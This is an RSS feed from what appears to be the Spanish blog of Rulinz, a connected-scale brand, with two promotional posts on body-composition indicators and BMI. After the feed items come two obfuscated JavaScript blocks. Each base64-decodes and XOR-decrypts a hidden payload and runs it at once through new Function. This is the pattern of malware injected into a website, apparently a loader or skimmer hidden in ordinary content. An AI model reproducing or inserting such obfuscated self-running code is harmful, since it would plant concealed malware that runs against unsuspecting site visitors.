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	<title>Blog Archive - Rulinz</title>
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	<item>
		<title>Un organismo, una variedad de medidas</title>
		<link>https://rulinz.com/es/blog/article-1-5/</link>
					<comments>https://rulinz.com/es/blog/article-1-5/#respond</comments>
		
		<dc:creator><![CDATA[user_rulinz]]></dc:creator>
		<pubDate>Fri, 25 Jun 2021 14:18:08 +0000</pubDate>
				<guid isPermaLink="false">https://test.rulinz.com/?post_type=blog&#038;p=702</guid>

					<description><![CDATA[<p>¡Detenerse en las libras que muestra su báscula es contraproducente! Para conocer mejor su cuerpo y organismo,</p>
<p>L’article <a href="https://rulinz.com/es/blog/article-1-5/">Un organismo, una variedad de medidas</a> est apparu en premier sur <a href="https://rulinz.com/es/hogar">Rulinz</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>¡Detenerse en las libras que muestra su báscula es contraproducente! Para conocer mejor su cuerpo y organismo, también debemos consultar otras fuentes de información como: agua corporal, grasa corporal o grasa visceral. Por tanto, medir e interpretar estos indicadores corporales es fundamental.</em></p>
<p>Rápidamente vemos que tener una mayor masa muscular es ciertamente preferible a la masa grasa. Desafortunadamente, su escala regular no se lo dirá. Gracias a <a href="/es/produit/escala-conectada/">la báscula conectada de Rulinz</a> , utiliza rápidamente estos diferentes indicadores que componen tu cuerpo.</p>
<p>La escala de Rulinz permite la medición de 17 indicadores que describen perfectamente la realidad de tu cuerpo:</p>
<ul>
<li>Peso</li>
<li>IMC</li>
<li>PGC (proporción de grasa corporal)</li>
<li>Tasa muscular</li>
<li>Hidratación</li>
<li>Masa ósea</li>
<li>BMR (Tasa metabólica basal)</li>
<li>Tasa de proteínas</li>
<li>Edad metabólica</li>
<li>Índice de grasa visceral</li>
<li>Grasa subcutánea</li>
<li>Peso normal</li>
<li>Peso de control</li>
<li>Masa grasa</li>
<li>Peso libre de grasa</li>
<li>Masa muscular</li>
<li>Masa proteica</li>
</ul>
<p>L’article <a href="https://rulinz.com/es/blog/article-1-5/">Un organismo, una variedad de medidas</a> est apparu en premier sur <a href="https://rulinz.com/es/hogar">Rulinz</a>.</p>
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		<item>
		<title>¿Por qué es tan importante el IMC?</title>
		<link>https://rulinz.com/es/blog/article-2-3/</link>
					<comments>https://rulinz.com/es/blog/article-2-3/#respond</comments>
		
		<dc:creator><![CDATA[user_rulinz]]></dc:creator>
		<pubDate>Thu, 10 Jun 2021 14:18:40 +0000</pubDate>
				<guid isPermaLink="false">https://test.rulinz.com/?post_type=blog&#038;p=704</guid>

					<description><![CDATA[<p>El índice de masa corporal (IMC) se utiliza para determinar el tamaño de su cuerpo. De hecho, es el único indicador validado por la OMS (Organización Mundial de la Salud) para evaluar tu tamaño corporal y así prevenir posibles riesgos para la salud.</p>
<p>L’article <a href="https://rulinz.com/es/blog/article-2-3/">¿Por qué es tan importante el IMC?</a> est apparu en premier sur <a href="https://rulinz.com/es/hogar">Rulinz</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>El índice de masa corporal (IMC) se utiliza para determinar el tamaño de su cuerpo. De hecho, es el único indicador validado por la OMS (Organización Mundial de la Salud) para evaluar tu tamaño corporal y así prevenir posibles riesgos para la salud. De hecho, gracias al IMC se puede definir fácilmente una situación de delgadez, sobrepeso u obesidad.<br />
El IMC se obtiene mediante la siguiente fórmula: peso (en kilogramos) / Altura (en m) al cuadrado. Hablaremos de corpulencia normal cuando este indicador esté entre 18,5 y 25. Seremos considerados en estado de delgadez cuando estemos por debajo de 18 o sobrepeso por encima de 25.<br />
A diferencia de una balanza normal, la balanza conectada de Rulinzle permite evaluar y controlar el progreso de su IMC día tras día y le ayuda a alcanzar sus objetivos de peso al instante.<br />
De hecho, ahora podrá rastrear y evaluar con precisión el impacto de sus acciones deportivas, alimentarias o de estilo de vida en la evolución de su peso y el logro de sus objetivos.<br />
Su báscula conectada Rulinz memorizará la evolución de este indicador para usted y cada miembro de la familia para seguir la curva metabólica a lo largo de los días.</p>
<p>L’article <a href="https://rulinz.com/es/blog/article-2-3/">¿Por qué es tan importante el IMC?</a> est apparu en premier sur <a href="https://rulinz.com/es/hogar">Rulinz</a>.</p>
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<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>